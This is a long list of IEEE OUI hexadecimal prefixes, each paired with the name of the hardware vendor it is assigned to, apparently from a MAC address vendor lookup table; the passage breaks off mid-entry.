000B69 Franke Finland Oy 0091D6 Crystal Group, Inc. 000B62 ib-mohnen KG 000B59 ScriptPro, LLC 000C52 Roll Systems Inc. 000C57 MACKIE Engineering Services Belgium BVBA 000C59 Indyme Electronics, Inc. 000C5E Calypso Medical 000C4B Cheops Elektronik 000C46 Allied Telesyn Inc. 000C3D Glsystech Co., Ltd. 000C33 Compucase Enterprise Co. Ltd. 000C36 SHARP TAKAYA ELECTRONICS INDUSTRY CO.,LTD. 000C2C Enwiser Inc. 000CFB Korea Network Systems 000CEF Open Networks Engineering Ltd 000CF4 AKATSUKI ELECTRIC MFG.CO.,LTD. 000CE8 GuangZhou AnJuBao Co., Ltd 000CE1 The Open Group 000CCF Cisco Systems, Inc 000BEB Systegra AG 000BF0 MoTEX Products Co., Ltd. 000BDD TOHOKU RICOH Co., LTD. 000BE4 Hosiden Corporation 000BD8 Industrial Scientific Corp. 000BD4 Beijing Wise Technology & Science Development Co.Ltd 000A1D Optical Communications Products Inc. 000A1F ART WARE Telecommunication Co., Ltd. 000A24 Octave Communications 000A18 Vichel Inc. 000A0C Scientific Research Corporation 000A11 ExPet Technologies, Inc 0009F8 UNIMO TECHNOLOGY CO., LTD. 0009FB Philips Patient Monitoring 000A02 ANNSO CO., LTD. 0009EB HuMANDATA LTD. 0009EC Daktronics, Inc. 0009F1 Yamaki Electric Corporation 0009E5 Hottinger Baldwin Messtechnik GmbH 0009D9 Neoscale Systems, Inc 0009DE Samjin Information & Communications Co., Ltd. 0009CC Moog GmbH 0009C6 Visionics Corporation 0009CB HBrain 0009D2 Mai Logic Inc. 0009BE Mamiya-OP Co.,Ltd. 0009C2 Onity, Inc. 000B51 Micetek International Inc. 000B54 BiTMICRO Networks, Inc. 000B45 Cisco Systems, Inc 000B4C Clarion (M) Sdn Bhd 000B40 Oclaro 000B32 VORMETRIC, INC. 000B39 Keisoku Giken Co.,Ltd. 000B3E BittWare, Inc 000B26 Wetek Corporation 000B2B HOSTNET CORPORATION 000B2D Danfoss Inc. 000ABB Taiwan Secom Co,. Ltd 000AC7 Unication Group 000AAF Pipal Systems 000AB6 COMPUNETIX, INC 000AA3 SHIMAFUJI ELECTRIC CO.,LTD. 000AA8 ePipe Pty. Ltd. 000AAA AltiGen Communications Inc. 000A90 Bayside Interactive, Inc. 000A9C Server Technology, Inc. 000A96 MEWTEL TECHNOLOGY INC. 000A81 TEIMA Audiotex S.L. 000A83 SALTO SYSTEMS S.L. 000A88 InCypher S.A. 000A7C Tecton Ltd 000A70 MPLS Forum 000A75 Caterpillar, Inc 000A62 Crinis Networks, Inc. 000A64 Eracom Technologies 000A69 SUNNY bell Technology Co., Ltd. 000A5D FingerTec Worldwide Sdn Bhd 000AF4 Cisco Systems, Inc 000AE8 Cathay Roxus Information Technology Co. LTD 000ADA Vindicator Technologies 000ADC RuggedCom Inc. 000AE1 EG Technology 000AC9 Zambeel Inc 000ACE RADIANTECH, INC. 000AD5 Brainchild Electronic Co., Ltd. 000A4F Brain Boxes Limited 000A51 GyroSignal Technology Co., Ltd. 000A56 HITACHI Maxell Ltd. 000A4A Targa Systems Ltd. 000A37 Procera Networks, Inc. 000A3E EADS Telecom 000A43 Chunghwa Telecom Co., Ltd. 000A30 Visteon Corporation 000A32 Xsido Corporation 000A2B Etherstuff 000A29 Pan Dacom Networking AG 000B1A Industrial Defender, Inc. 000B1F I CON Computer Co. 000B13 ZETRON INC 000B0C Agile Systems Inc. 000B07 Voxpath Networks 000AF9 HiConnect, Inc. 000AFB Ambri Limited 000B00 FUJIAN START COMPUTER EQUIPMENT CO.,LTD 0009B8 Entise Systems 0009B7 Cisco Systems, Inc 0009B2 L&F Inc. 0009A5 HANSUNG ELETRONIC INDUSTRIES DEVELOPMENT CO., LTD 0009A6 Ignis Optics, Inc. 0009AB Netcontrol Oy 00099F VIDEX INC. 0007B3 Cisco Systems, Inc 0007AD Pentacon GmbH Foto-und Feinwerktechnik 0007A5 Y.D.K Co. Ltd. 00079F Action Digital Inc. 000792 Sütron Electronic GmbH 000799 Tipping Point Technologies, Inc. 00078C Elektronikspecialisten i Borlange AB 000786 Wireless Networks Inc. 000775 Valence Semiconductor, Inc. 00077C Westermo Teleindustri AB 000776 Federal APD 00077F J Communications Co., Ltd. 000780 Bluegiga Technologies OY 000881 DIGITAL HANDS CO.,LTD. 02C08C 3COM CORPORATION 00087B RTX Telecom A/S 000880 BroadTel Canada Communications inc. 00086E Hyglo AB 000868 PurOptix 000861 SoftEnergy Co., Ltd. 00084F Qualstar Corporation 00085B Hanbit Electronics Co., Ltd. 000855 NASA-Goddard Space Flight Center 00084E DivergeNet, Inc. 00085C Shanghai Dare Technologies Co. Ltd. 0007ED Altera Corporation 0007F4 Eletex Co., Ltd. 0007E1 WIS Communications Co. Ltd. 0007D4 Zhejiang Yutong Network Communication Co Ltd. 0007DB Kirana Networks, Inc. 0007D5 3e Technologies Int;., Inc. 0005F9 TOA Corporation 0007C5 Gcom, Inc. 0007CC Kaba Benzing GmbH 0007C6 VDS Vosskuhler GmbH 0007B9 Ginganet Corporation 0007BF Armillaire Technologies, Inc. 00047F Chr. Mayr GmbH & Co. KG 000961 Switchgear and Instrumentation Ltd 00095A RACEWOOD TECHNOLOGY 000954 AMiT spol. s. r. o. 00094E BARTECH SYSTEMS INTERNATIONAL, INC 000953 Linkage System Integration Co.Ltd. 000942 Wireless Technologies, Inc 000947 Aztek, Inc. 00093B HYUNDAI NETWORKS INC. 000934 Dream-Multimedia-Tv GmbH 0008BA Erskine Systems Ltd 0008B4 SYSPOL 0008AE PacketFront Network Products AB 0008A7 iLogic Inc. 0008A2 ADI Engineering, Inc. 0008A1 CNet Technology Inc. 00089B ICP Electronics Inc. 00088D Sigma-Links Inc. 000893 LE INFORMATION COMMUNICATION INC. 00088E Nihon Computer Co., Ltd. 000897 Quake Technologies 000887 Maschinenfabrik Reinhausen GmbH 0008FD BlueKorea Co., Ltd. 0008F5 YESTECHNOLOGY Co.,Ltd. 0008EF DIBAL,S.A. 0008EA Motion Control Engineering, Inc 0008DD Telena Communications, Inc. 0008DE 3UP Systems 0008E3 Cisco Systems, Inc 0008D7 HOW CORPORATION 0008CB Zeta Broadband Inc. 0008D0 Musashi Engineering Co., LTD. 0008C1 Avistar Communications Corporation 0008C6 Philips Consumer Communications 000993 Visteon Corporation 000998 Capinfo Company Limited 000986 Metalink LTD. 000985 Auto Telecom Company 00098C Option Wireless Sweden 000980 Power Zenith Inc. 000973 Lenten Technology Co., Ltd. 000974 Innopia Technologies, Inc. 000979 Advanced Television Systems Committee, Inc. 00096D Powernet Technologies Corp. 00081F Pou Yuen Tech Corp. Ltd. 000826 Colorado Med Tech 000820 Cisco Systems, Inc 000825 Acme Packet 00082C Homag AG 000819 Banksys 000810 Key Technology, Inc. 000813 Diskbank, Inc. 00080A Espera-Werke GmbH 000804 ICA Inc. 0007FA ITT Co., Ltd. 0007E7 FreeWave Technologies 0007EE telco Informationssysteme GmbH 000928 Telecore 00092F Akom Technology Corporation 000922 TST Biometrics GmbH 000921 Planmeca Oy 00091C CacheVision, Inc 000910 Simple Access Inc. 000915 CAS Corp. 00090F Fortinet Inc. 000909 Telenor Connect A/S 000902 Redline Communications Inc. 00065E Photuris, Inc. 000645 Meisei Electric Co. Ltd. 000644 neix,Inc 00064B Alexon Co., Ltd. 00063B Arcturus Networks Inc. 00063A Dura Micro, Inc. 000634 GTE Airfone Inc. 00062A Cisco Systems, Inc 000627 Uniwide Technologies, Inc. 00062E Aristos Logic Corp. 000617 Redswitch Inc. 00061E Maxan Systems 000618 DigiPower Manufacturing Inc. 000770 Ubiquoss Inc 00076B Stralfors AB 00075F VCS Video Communication Systems AG 000766 Chou Chin Industrial Co., Ltd. 000759 Boris Manufacturing Corp. 00074C Beicom Inc. 000753 Beijing Qxcomm Technology Co., Ltd. 000743 Chelsio Communications 000744 Unico, Inc. 000747 Mecalc 000737 Soriya Co. Ltd. 00073E China Great-Wall Computer Shenzhen Co., Ltd. 0006C4 Piolink Inc. 0006C0 United Internetworks, Inc. 0006BA Westwave Communications 0006AD KB Electronics Ltd. 0006B4 Vorne Industries, Inc. 0006AE Himachal Futuristic Communications Ltd 0006B3 Diagraph Corporation 0006A3 Bitran Corporation 00069D Petards Ltd 0006A7 Primarion 000657 Market Central, Inc. 000697 R & D Center 000691 PT Inovacao 0005C7 I/F-COM A/S 0005CE Prolink Microsystems Corporation 0005C1 A-Kyung Motion, Inc. 0005BB Myspace AB 00059B Cisco Systems, Inc 0005B5 Broadcom Technologies 00059A Cisco Systems, Inc 0005A1 Zenocom 0005AB Cyber Fone, Inc. 000588 Sensoria Corp. 00058E Flextronics International GmbH & Co. Nfg. KG 000612 Accusys, Inc. 000609 Crossport Systems 00060F Narad Networks Inc 000602 Cirkitech Electronics Co. 0005ED Technikum Joanneum GmbH 000600 Toshiba Teli Corporation 0005E7 Netrake an AudioCodes Company 0005F3 Webyn 0005FA IPOptical, Inc. 0005DE Gi Fone Korea, Inc. 0005DA Apex Automationstechnik 0005C8 VERYTECH 0005D4 FutureSmart Networks, Inc. 0006EC Harris Corporation 0006DF AIDONIC Corporation 0006E0 MAT Co., Ltd. 0006E5 Fujian Newland Computer Ltd. Co. 0006DB ICHIPS Co., Ltd. 0006D0 Elgar Electronics Corp. 0006D7 Cisco Systems, Inc 0006CA American Computer & Digital Components, Inc. (ACDC) 000581 Snell 00057B Chung Nam Electronic Co., Ltd. 000582 ClearCube Technology 000577 SM Information & Communication 000571 Seiwa Electronics Co. 00056B C.P. Technology Co., Ltd. 000565 Tailyn Communication Company Ltd. 00055F Cisco Systems, Inc 00055E Cisco Systems, Inc 000558 Synchronous, Inc. 000552 Xycotec Computer GmbH 000549 Salira Optical Network Systems 00072B Jung Myung Telecom Co., Ltd. 000731 Ophir-Spiricon LLC 00071A Finedigital Inc. 000721 Formac Elektronik GmbH 00070E Cisco Systems, Inc 000715 General Research of Electronics, Inc. 000708 Bitrage Inc. 0006F2 Platys Communications 0006FE Ambrado, Inc 0006FC Fnet Co., Ltd. 000684 Biacore AB 00068A NeuronNet Co. Ltd. R&D Center 00067E WinCom Systems, Inc. 000670 Upponetti Oy 000676 Novra Technologies Inc. 00067A JMP Systems 000664 Fostex Corporation 00066A InfiniCon Systems, Inc. 000651 Aspen Networks Inc. 00065D Heidelberg Web Systems 000415 Rasteme Systems Co., Ltd. 000408 Sanko Electronics Co., Ltd. 000409 Cratos Networks 000402 Nexsan Technologies, Ltd. 0003F8 SanCastle Technologies, Inc. 0003FF Microsoft Corporation 0003F1 Cicada Semiconductor, Inc. 0003F2 Seneca Networks 0003EC ICG Research, Inc. 0003E6 Entone, Inc. 0003DE OTC Wireless 0003E1 Winmate Communication, Inc. 0003DA Takamisawa Cybernetics Co., Ltd. 00054C RF Innovations Pty Ltd 000543 IQ Wireless GmbH 00053D Agere Systems 000530 Andiamo Systems, Inc. 000537 Nets Technology Co., Ltd. 000536 Danam Communications, Inc. 000524 BTL System (HK) Limited 00052A Ikegami Tsushinki Co., Ltd. 00051D Airocon, Inc. 000517 Shellcomm, Inc. 000513 VTLinx Multimedia Systems, Inc. 0004D4 Proview Electronics Co., Ltd. 0004CE Patria Ailon 0004CD Extenway Solutions Inc 0004C7 NetMount 0004C8 LIBA Maschinenfabrik GmbH 0004C1 Cisco Systems, Inc 0004BB Bardac Corporation 0004B5 Equitrac Corporation 0004A7 FabiaTech Corporation 0004A1 Pathway Connectivity 00049A Cisco Systems, Inc 00035B BridgeWave Communications 000356 Wincor Nixdorf International GmbH 000350 BTICINO SPA 000348 Norscan Instruments, Ltd. 000345 Routrek Networks Corporation 00033D ILSHin Lab 0001EC Ericsson Group 000331 Cisco Systems, Inc 000338 Oak Technology 000335 Mirae Technology 00032C ABB Switzerland Ltd 000325 Arima Computer Corp. 000453 YottaYotta, Inc. 00044D Cisco Systems, Inc 000449 Mapletree Networks 000443 Agilent Technologies, Inc. 00043D INDEL AG 000431 GlobalStreams, Inc. 000436 ELANsat Technologies, Inc. 000430 Netgem 00042A Wireless Networks, Inc. 000424 TMC s.r.l. 00041B Bridgeworks Ltd. 00041E Shikoku Instrumentation Co., Ltd. 0003D3 Internet Energy Systems, Inc. 0003CE ETEN Technologies, Inc. 0003CB Nippon Systems Development Co., Ltd. 0003C2 Solphone K.K. 0003C7 hopf Elektronik GmbH 0003BB Signal Communications Limited 0003B5 Entra Technology Co. 0003B0 Xsense Technology Corp. 0003A4 Imation Corp. 0003A9 AXCENT Media AG 0003AD Emerson Energy Systems AB 000396 EZ Cast Co., Ltd. 00050D Midstream Technologies, Inc. 000507 Fine Appliance Corp. 0004FD Japan Control Engineering Co., Ltd. 0004F7 Omega Band, Inc. 0004F1 WhereNet 0004DA Relax Technology, Inc. 008087 OKI ELECTRIC INDUSTRY CO., LTD 0004E0 Procket Networks 000460 Knilink Technology, Inc. 000494 Breezecom, Ltd. 00048E Ohm Tech Labs, Inc. 000495 Tejas Networks India Limited 000483 Deltron Technology, Inc. 000489 YAFO Networks, Inc. 000479 Radius Co., Ltd. 00046D Cisco Systems, Inc 000472 Telelynx, Inc. 00046C Cyber Technology Co., Ltd. 000466 ARMITEL Co. 00045A The Linksys Group, Inc. 00045F Avalue Technology, Inc. 000391 Advanced Digital Broadcast, Ltd. 00038A America Online, Inc. 00038E Atoga Systems, Inc. 00037C Coax Media 000381 Ingenico International 000375 NetMedia, Inc. 00036E Nicon Systems (Pty) Limited 000362 Vodtel Communications, Inc. 00031C Svenska Hardvarufabriken AB 000315 Cidco Incorporated 000310 E-Globaledge Corporation 00030D Uniwill Computer Corp. 000309 Texcel Technology PLC 000304 Pacific Broadband Communications 00019F ReadyNet 0002FD Cisco Systems, Inc 0002F6 Equipe Communications 0002F1 Pinetron Co., Ltd. 0002EF CCC Network Systems Group Ltd. 0002EB Pico Communications 0002E6 Gould Instrument Systems, Inc. 0002DF Net Com Systems, Inc. 0002D3 NetBotz, Inc. 0002D8 BRECIS Communications Corporation 0002CC M.C.C.I 0002D0 Comdial Corporation 0002C5 Evertz Microsystems Ltd. 0002C0 Bencent Tzeng Industry Co., Ltd. 0002BD Bionet Co., Ltd. 0002B7 Watanabe Electric Industry Co., Ltd. 0002B0 Hokubu Communication & Industrial Co., Ltd. 0002A8 Air Link Technology 0002AB CTC Union Technologies Co., Ltd. 0002A4 AddPac Technology Co., Ltd. 000299 Apex, Inc. 00029D Merix Corp. 000291 Open Network Co., Ltd. 00028A Ambit Microsystems Corporation 000287 Adapcom 00028C Micrel-Synergy Semiconductor 000282 ViaClix, Inc. 00027B Amplify Net, Inc. 00024F IPM Datacom S.R.L. 000274 Tommy Technologies Corp. 00026F Senao International Co., Ltd. 000264 AudioRamp.com 00306C Hitex Holding GmbH 000177 EDSL 000161 Meta Machine Technology 000168 VITANA CORPORATION 000174 CyberOptics Corporation 000164 Cisco Systems, Inc 000170 ESE Embedded System Engineer'g 000152 CHROMATEK INC. 000156 FIREWIREDIRECT.COM, INC. 00013F Neighbor World Co., Ltd. 000146 Tesco Controls, Inc. 000133 KYOWA Electronic Instruments C 0001E3 Siemens AG 0001EA Cirilium Corp. 0001EF Camtel Technology Corp. 0001F2 Mark of the Unicorn, Inc. 0001D7 F5 Networks, Inc. 0001DC Activetelco 0001DF ISDN Communications, Ltd. 0001D3 PAXCOMM, Inc. 0001C5 Simpler Networks 0001D0 VitalPoint, Inc. 0001B2 Digital Processing Systems, Inc. 0001C1 Vitesse Semiconductor Corporation 0001BA IC-Net, Inc. 0001B6 SAEJIN T&M Co., Ltd. 00022B SAXA, Inc. 000226 XESystems, Inc. 00021E SIMTEL S.R.L. 00021A Zuma Networks 00020B Native Networks, Inc. 000212 SierraCom 000217 Cisco Systems, Inc 000207 VisionGlobal Network Corp. 000204 Bodmann Industries Elektronik GmbH 0001F8 TEXIO TECHNOLOGY CORPORATION 0001FF Data Direct Networks, Inc. 0001FB DoTop Technology, Inc. 000268 Harris Government Communications 00025D Calix Networks 000258 Flying Packets Communications 000257 Microcom Corp. 000254 WorldGate 000248 Pilz GmbH & Co. 00022E TEAC Corp. R& D 000241 Amer.com 000232 Avision, Inc. 00012A Telematica Sistems Inteligente 000137 IT Farm Corporation 000143 Cisco Systems, Inc 00011B Unizone Technologies, Inc. 000122 Trend Communications, Ltd. 00011E Precidia Technologies, Inc. 000108 AVLAB Technology, Inc. 00010B Space CyberLink, Inc. 0001AE Trex Enterprises 0001AA Airspan Communications, Ltd. 000198 Darim Vision 000180 AOpen, Inc. 000187 I2SE GmbH 00018F Kenetec, Inc. 000183 ANITE TELECOMS 00019C JDS Uniphase Inc. 000190 SMK-M 0030D1 INOVA CORPORATION 003032 MagicRam, Inc. 00305A TELGEN CORPORATION 003069 IMPACCT TECHNOLOGY CORP. 0030EC BORGARDT 0030B4 INTERSIL CORP. 00308E CROSS MATCH TECHNOLOGIES, INC. 0030D0 Tellabs 0030A5 ACTIVE POWER 003009 Tachion Networks, Inc. 00302F GE Aviation System 0030A4 Woodwind Communications System 0030E5 Amper Datos S.A. 0030C0 Lara Technology, Inc. 00300E Klotz Digital AG 003094 Cisco Systems, Inc 00309A ASTRO TERRA CORP. 00300C CONGRUENCY, LTD. 0030FD INTEGRATED SYSTEMS DESIGN 003023 COGENT COMPUTER SYSTEMS, INC. 0030DF KB/TEL TELECOMUNICACIONES 00307D GRE AMERICA, INC. 00D0E4 Cisco Systems, Inc 00D08B ADVA Optical Networking Ltd. 00D098 Photon Dynamics Canada Inc. 00D05E STRATABEAM TECHNOLOGY, INC. 00D0BE EMUTEC INC. 00D0F4 CARINTHIAN TECH INSTITUTE 00D0AA CHASE COMMUNICATIONS 00D0FA Thales e-Security Ltd. 00D006 Cisco Systems, Inc 00D03D GALILEO TECHNOLOGY, LTD. 00D014 ROOT, INC. 00D0DD SUNRISE TELECOM, INC. 00D091 SMARTSAN SYSTEMS, INC. 00B0EE Ajile Systems, Inc. 00B0E7 British Federal Ltd. 00B04A Cisco Systems, Inc 00B069 Honewell Oy 00B0C2 Cisco Systems, Inc 00B0DF Starboard Storage Systems 00B0EC EACEM 003092 ModuNORM GmbH 0030EE DSG Technology, Inc. 003042 DeTeWe-Deutsche Telephonwerke 003099 BOENIG UND KALLENBACH OHG 003051 ORBIT AVIONIC & COMMUNICATION 0030AB DELTA NETWORKS, INC. 003093 Sonnet Technologies, Inc 00303C ONNTO CORP. 0030C7 Macromate Corp. 003066 RFM 00307F IRLAN LTD. 003016 ISHIDA CO., LTD. 00302A SOUTHERN INFORMATION 0030DC RIGHTECH CORPORATION 00D0A4 ALANTRO COMMUNICATIONS 00D043 ZONAL RETAIL DATA SYSTEMS 00D016 SCM MICROSYSTEMS, INC. 00D012 GATEWORKS CORP. 00D092 GLENAYRE WESTERN MULTIPLEX 00D0C5 COMPUTATIONAL SYSTEMS, INC. 0001A7 UNEX TECHNOLOGY CORPORATION 00D0B5 IPricot formerly DotCom 0030E8 ENSIM CORP. 0030ED Expert Magnetics Corp. 0030F9 Sollae Systems Co., Ltd. 003098 Global Converging Technologies 0030E2 GARNET SYSTEMS CO., LTD. 003002 Expand Networks 00300B mPHASE Technologies, Inc. 00308F MICRILOR, Inc. 0030F3 At Work Computers 00D0F9 ACUTE COMMUNICATIONS CORP. 00D063 Cisco Systems, Inc 00D069 TECHNOLOGIC SYSTEMS 00D070 LONG WELL ELECTRONICS CORP. 00D061 TREMON ENTERPRISES CO., LTD. 00D0C4 TERATECH CORPORATION 0030BF MULTIDATA GMBH 00D0D7 B2C2, INC. 00D015 UNIVEX MICROTECHNOLOGY CORP. 00D0A5 AMERICAN ARIUM 00D0E5 SOLIDUM SYSTEMS CORP. 00D0B3 DRS Technologies Canada Ltd 00D0E9 Advantage Century Telecommunication Corp. 00D094 Seeion Control LLC 009045 Marconi Communications 0090F6 ESCALATE NETWORKS, INC. 0090EA ALPHA TECHNOLOGIES, INC. 0090FE ELECOM CO., LTD.(LANEED DIV.) 0090EB SENTRY TELECOM SYSTEMS 00908E Nortel Networks Broadband Access 0090CA ACCORD VIDEO TELECOMMUNICATIONS, LTD. 00908B Tattile SRL 009099 ALLIED TELESIS, K.K. 00900E HANDLINK TECHNOLOGIES, INC. 0090F7 NBASE COMMUNICATIONS LTD. 009024 PIPELINKS, INC. 009052 SELCOM ELETTRONICA S.R.L. 0090E5 TEKNEMA, INC. 009085 GOLDEN ENTERPRISES, INC. 009019 HERMES ELECTRONICS CO., LTD. 0090DC TECO INFORMATION SYSTEMS 00D0AE ORESIS COMMUNICATIONS, INC. 00D0D4 V-BITS, INC. 00D041 AMIGO TECHNOLOGY CO., LTD. 00D0D1 Sycamore Networks 00D0A1 OSKAR VIERLING GMBH + CO. KG 00D00B RHK TECHNOLOGY, INC. 00D02C CAMPBELL SCIENTIFIC, INC. 00D0A0 MIPS DENMARK 00D04E LOGIBAG 00D0D9 DEDICATED MICROCOMPUTERS 00D0CD ATAN TECHNOLOGY INC. 00D01D FURUNO ELECTRIC CO., LTD. 00D0C7 PATHWAY, INC. 00D05C KATHREIN TechnoTrend GmbH 00D040 SYSMATE CO., LTD. 00D08A PHOTRON USA 00D076 Bank of America 00D07A AMAQUEST COMPUTER CORP. 00D0BB Cisco Systems, Inc 00D001 VST TECHNOLOGIES, INC. 00904C Epigram, Inc. 009000 DIAMOND MULTIMEDIA 009025 BAE Systems Australia (Electronic Systems) Pty Ltd 0090F8 MEDIATRIX TELECOM 009084 ATECH SYSTEM 009054 INNOVATIVE SEMICONDUCTORS, INC 009080 NOT LIMITED, INC. 0090C0 K.J. LAW ENGINEERS, INC. 0090BC TELEMANN CO., LTD. 00900A PROTON ELECTRONIC INDUSTRIAL CO., LTD. 00904E DELEM BV 00904A CONCUR SYSTEM TECHNOLOGIES 009029 CRYPTO AG 009061 PACIFIC RESEARCH & ENGINEERING CORPORATION 0090A9 WESTERN DIGITAL 009072 SIMRAD AS 005048 INFOLIBRIA 0050EA XEL COMMUNICATIONS, INC. 0050CE LG INTERNATIONAL CORP. 005019 SPRING TIDE NETWORKS, INC. 0050AC MAPLE COMPUTER CORPORATION 005044 ASACA CORPORATION 0050C6 LOOP TELECOMMUNICATION INTERNATIONAL, INC. 005049 Arbor Networks Inc 00509F HORIZON COMPUTER 0050C8 Addonics Technologies, Inc. 0050DC TAS TELEFONBAU A. SCHWABE GMBH & CO. KG 005069 PixStream Incorporated 00901D PEC (NZ) LTD. 00902D DATA ELECTRONICS (AUST.) PTY, LTD. 009007 DOMEX TECHNOLOGY CORP. 009048 ZEAL CORPORATION 0090E6 ALi Corporation 009046 DEXDYNE, LTD. 00905E RAULAND-BORG CORPORATION 009067 WalkAbout Computers, Inc. 0090DA DYNARC, INC. 009026 ADVANCED SWITCHING COMMUNICATIONS, INC. 0090BB TAINET COMMUNICATION SYSTEM Corp. 009033 INNOVAPHONE AG 009010 SIMULATION LABORATORIES, INC. 00903D BIOPAC SYSTEMS, INC. 009057 AANetcom, Inc. 00901C mps Software Gmbh 009056 TELESTREAM, INC. 00907D Lake Communications 0090DB NEXT LEVEL COMMUNICATIONS 005042 SCI MANUFACTURING SINGAPORE PTE, LTD. 0050C0 GATAN, INC. 0050D3 DIGITAL AUDIO PROCESSING PTY. LTD. 00509A TAG ELECTRONIC SYSTEMS 00507D IFP 0050D0 MINERVA SYSTEMS 005098 GLOBALOOP, LTD. 0050FA OXTEL, LTD. 005086 TELKOM SA, LTD. 0050E1 NS TECH ELECTRONICS SDN BHD 005022 ZONET TECHNOLOGY, INC. 005040 Panasonic Electric Works Co., Ltd. 0050D6 ATLAS COPCO TOOLS AB 005082 FORESSON CORPORATION 0050CA NET TO NET TECHNOLOGIES 0050A6 OPTRONICS 0050DB CONTEMPORARY CONTROL 00506B SPX-ATEG 005074 ADVANCED HI-TECH CORP. 005047 Private 005067 AEROCOMM, INC. 005024 NAVIC SYSTEMS, INC. 005041 Coretronic Corporation 0050D2 CMC Electronics Inc 0090DE CARDKEY SYSTEMS, INC. 009060 SYSTEM CREATE CORP. 0090E2 DISTRIBUTED PROCESSING TECHNOLOGY 00906B APPLIED RESOURCES, INC. 009020 PHILIPS ANALYTICAL X-RAY B.V. 009065 FINISAR CORPORATION 001053 COMPUTER TECHNOLOGY CORP. 0010A3 OMNITRONIX, INC. 00102B UMAX DATA SYSTEMS, INC. 001055 FUJITSU MICROELECTRONICS, INC. 00103C IC ENSEMBLE, INC. 0010D9 IBM JAPAN, FUJISAWA MT+D 0010A5 OXFORD INSTRUMENTS 001046 ALCORN MCBRIDE INC. 00E0DC NEXWARE CORP. 00E0D9 TAZMO CO., LTD. 00E0C2 NECSY S.p.A. 00E09B ENGAGE NETWORKS, INC. 00E045 TOUCHWAVE, INC. 00E055 INGENIERIA ELECTRONICA COMERCIAL INELCOM S.A. 00E037 CENTURY CORPORATION 00E081 TYAN COMPUTER CORP. 00E0D4 EXCELLENT COMPUTER 00E01A COMTEC SYSTEMS. CO., LTD. 00E0BC SYMON COMMUNICATIONS, INC. 00E084 COMPULITE R&D 00E0F6 DECISION EUROPE 00E027 DUX, INC. 00E07F LOGISTISTEM s.r.l. 00E043 VitalCom 00E0BF TORRENT NETWORKING TECHNOLOGIES CORP. 00E09D SARNOFF CORPORATION 00E0BB NBX CORPORATION 00E08A GEC AVERY, LTD. 00E04B JUMP INDUSTRIELLE COMPUTERTECHNIK GmbH 001015 OOmon Inc. 001088 AMERICAN NETWORKS INC. 001008 VIENNA SYSTEMS CORPORATION 0010CC CLP COMPUTER LOGISTIK PLANUNG GmbH 001094 Performance Analysis Broadband, Spirent plc 0010BB DATA & INFORMATION TECHNOLOGY 001028 COMPUTER TECHNICA, INC. 00108A TeraLogic, Inc. 0010C5 PROTOCOL TECHNOLOGIES, INC. 00106D Axxcelera Broadband Wireless 0010FC BROADBAND NETWORKS, INC. 001078 NUERA COMMUNICATIONS, INC. 001048 HTRC AUTOMATION, INC. 001081 DPS, INC. 00102D HITACHI SOFTWARE ENGINEERING 00109F PAVO, INC. 0010A1 KENDIN SEMICONDUCTOR, INC. 001084 K-BOT COMMUNICATIONS 0010AF TAC SYSTEMS, INC. 00100F INDUSTRIAL CPU SYSTEMS 0010A2 TNS 001000 CABLE TELEVISION LABORATORIES, INC. 00103B HIPPI NETWORKING FORUM 0060C2 MPL AG 0060A2 NIHON UNISYS LIMITED CO. 006046 VMETRO, INC. 00609D PMI FOOD EQUIPMENT GROUP 0060BF MACRAIGOR SYSTEMS, INC. 00604A SAIC IDEAS GROUP 006081 TV/COM INTERNATIONAL 0060B4 GLENAYRE R&D INC. 006045 PATHLIGHT TECHNOLOGIES 00A005 DANIEL INSTRUMENTS, LTD. 00A053 COMPACT DEVICES, INC. 00A033 imc MeBsysteme GmbH 00A059 HAMILTON HALLMARK 00A0AD MARCONI SPA 00A0F6 AutoGas Systems Inc. 00A006 IMAGE DATA PROCESSING SYSTEM GROUP 0060F3 Performance Analysis Broadband, Spirent plc 00600B LOGWARE GmbH 00603F PATAPSCO DESIGNS 00607C WaveAccess, Ltd. 00608D UNIPULSE CORP. 006049 VINA TECHNOLOGIES 0060A1 VPNet, Inc. 0060C9 ControlNet, Inc. 00605F NIPPON UNISOFT CORPORATION 006021 DSC CORPORATION 00601D LUCENT TECHNOLOGIES 000800 MULTITECH SYSTEMS, INC. 0060C7 AMATI COMMUNICATIONS CORP. 00E0CA BEST DATA PRODUCTS 00E097 CARRIER ACCESS CORPORATION 00E09F PIXEL VISION 00E0F5 TELES AG 00E070 DH TECHNOLOGY 00E0B5 ARDENT COMMUNICATIONS CORP. 00E073 NATIONAL AMUSEMENT NETWORK, INC. 00E0E8 GRETACODER Data Systems AG 00E016 RAPID CITY COMMUNICATIONS 00E001 STRAND LIGHTING LIMITED 00E082 ANERMA 00E0EA INNOVAT COMMUNICATIONS, INC. 00E06A KAPSCH AG 00E023 TELRAD 00E0C3 SAKAI SYSTEM DEVELOPMENT CORP. 00601A KEITHLEY INSTRUMENTS 0060AF PACIFIC MICRO DATA, INC. 00601F STALLION TECHNOLOGIES 00608F TEKRAM TECHNOLOGY CO., LTD. 0060C5 ANCOT CORP. 006023 PERICOM SEMICONDUCTOR CORP. 006063 PSION DACOM PLC. 00604F Tattile SRL 0060E8 HITACHI COMPUTER PRODUCTS (AMERICA), INC. 006072 VXL INSTRUMENTS, LIMITED 006054 CONTROLWARE GMBH 00A0DC O.N. ELECTRONIC CO., LTD. 00A013 TELTREND LTD. 00A0DF STS TECHNOLOGIES, INC. 00A061 PURITAN BENNETT 00A0CE Ecessa 00A02A TRANCELL SYSTEMS 00A02C interWAVE Communications 00A077 FUJITSU NEXION, INC. 00A020 CITICORP/TTI 00A00D THE PANDA PROJECT 00A031 HAZELTINE CORPORATION, MS 1-17 00A041 INFICON 0060FA EDUCATIONAL TECHNOLOGY RESOURCES, INC. 000288 GLOBAL VILLAGE COMMUNICATION 0060F9 DIAMOND LANE COMMUNICATIONS 0060EA StreamLogic 0060EC HERMARY OPTO ELECTRONICS INC. 00604E CYCLE COMPUTER CORPORATION, INC. 00602C LINX Data Terminals, Inc. 006028 MACROVISION CORPORATION 00606A MITSUBISHI WIRELESS COMMUNICATIONS. INC. 00E021 FREEGATE CORP. 00E0AB DIMAT S.A. 00E0B6 Entrada Networks 00E0EC CELESTICA INC. 00E038 PROXIMA CORPORATION 00E090 BECKMAN LAB. AUTOMATION DIV. 00E02E SPC ELECTRONICS CORPORATION 00E0F4 INSIDE Technology A/S 00E03C AdvanSys 00E096 SHIMADZU CORPORATION 00E0F1 THAT CORPORATION 00A0D0 TEN X TECHNOLOGY, INC. 00A0E0 TENNYSON TECHNOLOGIES PTY LTD 00A099 K-NET LTD. 00A03D OPTO-22 00A08C MultiMedia LANs, Inc. 1000E8 NATIONAL 